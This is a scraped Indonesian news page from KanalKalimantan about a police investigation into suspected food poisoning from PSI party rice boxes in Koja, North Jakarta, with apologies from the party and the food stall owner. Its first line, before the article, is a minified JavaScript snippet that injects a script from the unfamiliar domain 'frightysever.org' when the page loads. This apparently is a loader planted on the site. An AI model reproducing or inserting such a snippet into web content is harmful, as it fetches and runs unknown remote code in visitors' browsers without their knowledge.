(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Kepolisian Sektor Koja tengah menyelidiki sampel nasi kotak yang dibagikan oleh kader Partai Solidaritas Indonesia (PSI) dan diduga menyebabkan setidaknya 35 warga Koja, Jakarta Utara, keracunan.
Kepala Kepolisian Sektor Koja Ajun Komisaris Besar Polisi (AKBP) Abdul Rasyid mengatakan, sampel nasi kotak berisi sayur buncis, telur dan tempe orek tersebut dikirimkan ke laboratorium Polri di wilayah Sentul, Bogor, Jawa Barat, sebagai bagian dari penyelidikan awal.
“Jadi kita belum melakukan pemeriksaan saksi-saksi. Nanti dari hasil laboratorium kan ketahuan, misalnya, nasinya ada racunnya kah? Jenis apa? Racun apa?,” kata Rasyid kepada wartawan di Jakarta Utara, Senin.
Dewan Pimpinan Daerah Partai Solidaritas Indonesia (DPD PSI) Jakarta Utara meminta maaf atas insiden dugaan keracunan makanan.
Baca juga: Catat Sejarah, RSD Idaman Rawat 0 Pasien Covid-19 Setelah Setahun Lebih Dirundung Pandemi!
Ketua DPD PSI Jakarta Utara Darma Utama juga menjanjikan santunan pada korban dugaan keracunan. Korban merupakan warga Kampung Beting, Koja, Jakarta Utara.
Menurut Darma, makanan siap saji itu bagian dari program “Rice Box PSI” yang sudah digelar sejak April 2021.
Sampai hari ini, kata dia, sudah dibagikan lebih dari 300 ribu di seluruh Indonesia. Selama ini, sama sekali tidak ada masalah.
“Kejadian seperti di Kampung Beting itu adalah yang pertama kali,” kata Darma Utama dalam keterangan tertulis di Jakarta, Senin.
Program “Rice Box PSI”melibatkan warung-warung makanan dan Usaha Mikro, Kecil dan Menengah (UMKM) kuliner yang juga terdampak pandemi, sebagai penyedia atau pemasok.
Baca juga: Militer Sudan Kudeta Pemerintahan Transisi
“Jadi PSI tidak membuat makanan. Kami membagikan dan menghimpun dukungan program ini dari publik,” kata Darma.
Darma menambahkan, esensi “Rice Box PSI” adalah mendukung UMKM yang terdampak pandemi agar ekonomi kerakyatan semakin menggeliat.
Pihaknya telah melakukan penyelidikan internal supaya kasus seperti ini tidak terulang. “Kami tetap berpikir positif bahwa ini murni kelalaian semata tanpa unsur kesengajaan. Kami menunggu proses penyelidikan berlangsung,” katanya.
PSI juga telah memberikan santunan kepada 29 orang yang menjadi korban.
Apa Kata Pemilik Warung?
Pada kesempatan berbeda, pemilik warung, Lidya, juga telah meminta maaf atas kejadian keracunan makanan di Kampung Beting, Koja, Jakarta Utara. Selama ini ia sudah menjaga agar makanan aman dikonsumsi.
Dia sudah bekerjasama dengan PSI menyediakan makanan untuk program “Rice Box PSI” sejak Agustus lalu dan sudah memasak untuk lebih 1.000 kotak nasi.
“Saya mohon maaf sebesar-besarnya atas kejadian ini. Ini murni kesalahan saya,” kata Lidya.
Lidya berterima kasih kepada PSI karena program tersebut telah membantu usaha kulinernya bisa tetap bertahan di tengah pandemi ini. (Antara/Suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.